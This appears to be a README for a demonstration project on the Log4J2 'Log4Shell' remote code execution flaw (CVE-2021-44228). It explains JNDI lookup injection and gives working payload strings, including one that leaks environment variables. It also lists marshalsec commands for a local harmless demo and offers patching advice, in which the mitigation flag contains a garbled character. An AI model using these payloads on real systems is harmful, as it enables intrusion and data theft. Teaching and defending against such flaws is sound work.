## https://sploitus.com/exploit?id=EB648301-A198-5E4A-A72E-9639ED09F6C9
# This is an example of exploiting [CVE-2021-44228](https://github.com/advisories/GHSA-jfh8-c2jp-5v3q)
## A [Log4J2](https://logging.apache.org/log4j/2.x/index.html) RCE vulnerability
-----
## I'm not responsible for this code. PLEASE **do not use maliciously**
**[CVE-2021-44228](https://github.com/advisories/GHSA-jfh8-c2jp-5v3q)**:
This vulnerability allows you to execute arbitrary code by logging a malicious message on the target machine.
For example, you can use it in **[Minecraft](https://www.minecraft.net/en-us)** by sending a chat message, and the server/player machine will log the chat message and execute your code.
[LiveOverflow/CVE-2021-44228 video](https://youtu.be/w2F67LbEtnk)
The message has to contain a placeholder `${}` with instruction to load a remote object
`jndi` API. It will load the object through an `ObjectFactory`
- __LDAP__ `ldap://x.x.x.x:port/...`
- __HTTP__ `http://x.x.x.x/...`
- __DNS__ `dns://x.x.x/...`
- etc...
`${jndi:ldap://127.0.0.1:1389/#}`
If the ObjectFactory is not present in the client, it won't do anything.
Except for resolving the server.
With that, you can leak environment variables:
`${jndi:ldap://127.0.0.1:1389/${env:java_home}}`
### What is this hype about this RCE?
[why so overhyped?](https://gist.github.com/KosmX/7f13941c703e38ce3244864ee8dc6f3d)
*If my understanding is correct it provides an interface to JNDI*
What can be exploited
JNDI JDAP is an object lookup API.
You can get a Java object from a server.
[marshalsec/LDAPRefServer](https://github.com/mbechler/marshalsec/blob/master/src/main/java/marshalsec/jndi/LDAPRefServer.java)
It sends Object data, and the `ObjectFactory` name, which should build the object on the client.
It can be exploited multiple ways.
If LDAP is enabled to trust external code, we only need to give the URL to a malicious ObjectFactory.
`com.sun.jndi.ldap.object.trustURLCodebase = true`
Or there is another Java vulnerability. JDK-8196902
Combined with that, it will really became an RCE.
Multiple POC repos do this on GitHub. For example [tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce](https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce)
If this is set to false (by default it is set to false), we can look for an exploitable `ObjectFactory` in the target codebase,
Or exploit JNDI in a different way.
Further reading about JNDI Injection:
[JNDI injection](https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf)
[Veracode Research/rogue-jndi](https://github.com/veracode-research/rogue-jndi)
## In the example:
`RCEExample` is a function what log the malicious message.
Just press run to run it...
`LoggerFactory` is an `ObjectFactory` what will log, whatever it gets...
If you build [marshalsec](https://github.com/mbechler/marshalsec), you can ask it to use `LoggerFactory`
1. `java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1/#LoggerFactory"`
2. Run `rce.RCEExample` and see the exploit (the logger).
3. You can debug this project and place a breakpoint in `LoggerFactory`, see the objects.
## Secure your program
Your program is not affected **IF** it does **only** log built-in messages.
If the program can log text from any data file, or from the network, **it is vulnerable**.
But you should fix it anyway...
The best, you can do, update to [Log4J2 2.15.0+](https://logging.apache.org/log4j/2.x/index.html)
If it is not possible for some reason, disable **JNDI** lookup by the following **Java** argument: `โDlog4j2.formatMsgNoLookups=True` to mitigate the vulnerability.
If you're a **Minecraft** server administrator, follow the official guide: [**IMPORTANT MESSAGE: SECURITY VULNERABILITY IN JAVA EDITION**](https://www.minecraft.net/en-us/article/important-message--security-vulnerability-java-edition)